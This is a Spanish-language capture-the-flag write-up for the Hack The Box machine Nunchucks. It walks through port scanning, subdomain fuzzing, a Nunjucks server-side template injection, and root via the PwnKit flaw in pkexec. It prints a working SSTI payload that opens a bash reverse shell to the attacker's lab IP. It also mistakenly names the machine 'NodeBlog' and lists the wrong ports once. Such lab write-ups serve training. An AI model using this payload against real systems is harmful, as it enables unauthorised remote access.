Hack The Box - Nunchucks
...

Nunchucks.png

Resumen:
...

La máquina Nunchucks fue abordada mediante un escaneo inicial de puertos utilizando la herramienta nmap, revelando las aperturas en los puertos 22, 80 y 443. Al realizar una enumeración exhaustiva del servicio alojado en el puerto 443, se encontraron limitadas oportunidades de explotación. Para abordar esta situación, se implementó un fuzzing utilizando wfuzz, revelando el subdominio 'store' que presentaba una vulnerabilidad de inyección de plantillas en el lado del servidor (SSTI). Se logró ejecutar comandos a través de este vector, estableciendo una reverse shell que proporcionó acceso a la máquina, permitiendo la captura de la flag de usuario.

En la fase de escalada de privilegios, se centró la atención en la búsqueda de binarios con permisos SUID. Se identificó el binario 'pkexec' como una posible vía de explotación, lo que llevó a la utilización de la vulnerabilidad Pwnkit para obtener una shell con privilegios de root. Este paso culminó con la captura de la última flag, completando exitosamente la resolución de esta máquina.

KeyWords: Port enumeration, fuzzing, SSTI, RCE, Pwnkit.

Palabras Clave: Enumeración de puertos, fuzzing, SSTI, RCE, Pwnkit.

Reconocimiento
...

Nmap
...

Se emplea la herramienta Nmap para hacer el reconocimiento de puertos de la máquina NodeBlog y de esta forma conocer cuales están abiertos.

> sudo nmap -p- --open -sS --min-rate 1000 -vvv -n -Pn 10.10.11.122 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-23 08:20 CET
Initiating SYN Stealth Scan at 08:20
Scanning 10.10.11.122 [65535 ports]
Discovered open port 443/tcp on 10.10.11.122
Discovered open port 22/tcp on 10.10.11.122
Discovered open port 80/tcp on 10.10.11.122
Completed SYN Stealth Scan at 08:20, 13.96s elapsed (65535 total ports)
Nmap scan report for 10.10.11.122
Host is up, received user-set (0.046s latency).
Scanned at 2024-01-23 08:20:26 CET for 14s
Not shown: 65532 closed tcp ports (reset)
PORT    STATE SERVICE REASON
22/tcp  open  ssh     syn-ack ttl 63
80/tcp  open  http    syn-ack ttl 63
443/tcp open  https   syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 14.08 seconds
           Raw packets sent: 65633 (2.888MB) | Rcvd: 65535 (2.621MB)
Parámetros Nmap
-p-Escanea todos los 65535 puertos
–openSolo muestra los puertos abiertos
-sSEscaneo TCP SYN
–min-rateEnvío mínimo de paquetes
-vvvMuestra la información del escaneo mientras está ejecutándose
-nNo realiza resolución DNS
-PnNo realiza Host Discovery
-oGExporta el output en un archivo con formato grepeable

Se confirma que tiene abiertos los siguientes puertos abiertos: 22,5000; por lo que mediante el archivo grepeable que creó anteriormente, se hara uso de una función personalidada en la .zshrc, que extrae y copia a la clipboard los puertos resultantes de la primera consulta nmap para luego pegarlos en una siguiente.

> extractPorts allPorts

[+] Extracting Information....

	[+] IP Address: 10.10.11.122
	[+] Open Ports: 22,80,443

[+] Ports copied to clipboard

Con esta siguiente consulta se buscará enumerar que servicios están expuestos y sus respectivas versiones.

> sudo nmap -sCV -p22,80,443 10.10.11.122 -oN targeted
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-23 08:22 CET
Nmap scan report for store.nunchucks.htb (10.10.11.122)
Host is up (0.038s latency).

PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 6c:14:6d:bb:74:59:c3:78:2e:48:f5:11:d8:5b:47:21 (RSA)
|   256 a2:f4:2c:42:74:65:a3:7c:26:dd:49:72:23:82:72:71 (ECDSA)
|_  256 e1:8d:44:e7:21:6d:7c:13:2f:ea:3b:83:58:aa:02:b3 (ED25519)
80/tcp  open  http     nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to https://nunchucks.htb/
443/tcp open  ssl/http nginx 1.18.0 (Ubuntu)
| tls-nextprotoneg: 
|_  http/1.1
|_ssl-date: TLS randomness does not represent time
|_http-server-header: nginx/1.18.0 (Ubuntu)
| tls-alpn: 
|_  http/1.1
| ssl-cert: Subject: commonName=nunchucks.htb/organizationName=Nunchucks-Certificates/stateOrProvinceName=Dorset/countryName=UK
| Subject Alternative Name: DNS:localhost, DNS:nunchucks.htb
| Not valid before: 2021-08-30T15:42:24
|_Not valid after:  2031-08-28T15:42:24
|_http-title: Nunchucks Homepage 
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.15 seconds
Parámetros Nmap
-sCConjunto de Scripts básicos de reconocimiento
-sVVerificación de las versiones de los servicios expuestos
-oNGuarda el output en un archivo

Enumeración
...

Puerto TCP 443 - HTTPS
...

Se procede hacer la enumeración de las tecnologías utilizando whatweb se observa que redirige al dominio nunchucks.htb por lo que se procede a añadir ese dominio al archivo /etc/hosts, para que pueda resolver y de esta manera observar que tecnologías utiliza la página expuesta en el puerto 443.

1_Modificacion_etc_hosts.png

Con el dominio añadido en el archivo /etc/hosts, al utilizar la herramienta podrá resolver el dns y lograr enumerar las tecnologías usadas en la página.

2_whatweb.png

La información más relevante que se oberva es el uso del entorno de trabajo Express, indicando que por detrás existe un NodeJS, pero no es algo que se pueda explotar en este momento, por ende se va al navegador para enumerar y obtener información directamente de la página web.

3_Pagina_Principal.png

Enumerando la página web principal, se encuentra un formulario para el registro de usuarios, pero al momento de querer registrarse salta una mensaje indicando que este servicio se encuentra cerrado.

4_Signup_closed.png

Se procede hacer la misma revición en el formulario de inicio de sesión, pero pasa que tampoco el servicio se encuentra disponible. Por ende, se realiza un fuzzing de virtual hosting con la ayuda de la herramienta wfuzz. Se logra encontrar el subdominio 'store'.

5_Encontramos_subdominio.png

Se añade el subdominio 'store', al archivo /etc/hosts.

5_subdominio_etc_hosts.png

Explotación
...

SSTI - Shell as david
...

En la página web que se encuentra expuesta en el subdominio 'store', se puede observar un campo para ingresar un email. Al ingresar un correo, este se muestra en la página.

6_pagina_store.png

Se procede a revisar que este campo es vulnerable a Server Side Template Injection (SSTI), haciendo una prueba en donde si realiza la operación matemática que se coloca entre doble llaves confirmaría que es vulnerable.En este caso, se confirma que el campo si es vulnerable a SSTI.

7_vulnerable_ssti.png

Para explotar esta vulnerabilidad, se puede dirigir a la página de Hacktricks y sabiendo que corre por detrás un NodeJS, se busca por este término y vemos que uno de los resultados coincide con el nombre de la máquina.

8_Hacktricks_ssti_nunjucks.png

Con burpsuite se captura la petición enviándola al repeater, para que de esta manera probar la ejecución de comandos. Se ejecuta el comando tail para la lectura del archivo /etc/passwd.

10_Se_tiene_rce.png

Confirmado que se tiene capacidad de RCE, en la máquina atacante se pondrá en escucha por el puerto 443 y en el burpsuite se procede a escribir el one liner para la obtención de una reverse shell. Se envía la petición obteniendo una shell como el usuario david.

{
  "email":"\"{{range.constructor('return global.process.mainModule.require(\\'child_process\\').execSync(\\'bash -c \" bash -i >& /dev/tcp/10.10.14.81/443 0>&1\"\\')')()}}@test.com\""
}

11_Envio_reverse_shell.png

Se obtiene acceso a la máquina como el usuario david, por lo que se procede a capturar la user flag.

12_Shell_as_david.png

13_user_flag.png

Se procede a enumerar los binarios con permisos SUID, como resultado se encuentra el binario pkexec. Se ejecuta este binario para conocer la versión, y se confirma que tiene una versión que es vulnerable a CVE-2021-4034 (Pwnkit).

14_vulnerable_pwnkit.png

Para explotar esta vulnerabilidad, se puede visitar el repositorio PwnKit . En el README se encontrará como explotar esta vulnerabilidad.

15_repo_cve_pwnkit.png

Usando curl en la máquina atacante se procede a descargar el exploit y se le da permisos de ejecución.

16_Descargamos_Pwnkit.png

Para pasar el exploit, se copia la llave publica de ssh de la máquina atacante y se crea el archivo athorized_keys dentro de la máquina víctima donde se pegará lo que copiamos anteriormente. De esta manera se pueda conectar a la máquina víctima por ssh sin necesidad de ingresar la contraseña, además se puede enviar archivos usando el comando scp.

17_Creamos_athorized_keys.png

Se envía el exploit a la máquina vćitima haciendo uso de scp. El archivo será enviado al directorio /tmp.

18_Se_pasa_pwnkit.png

Se ejecuta el exploit, se obtiene una shell como el usuario root.

19_permisos_ejecutamos.png

Captura exitosa de la flag del usurio root.

20_shell_as_root_flag.png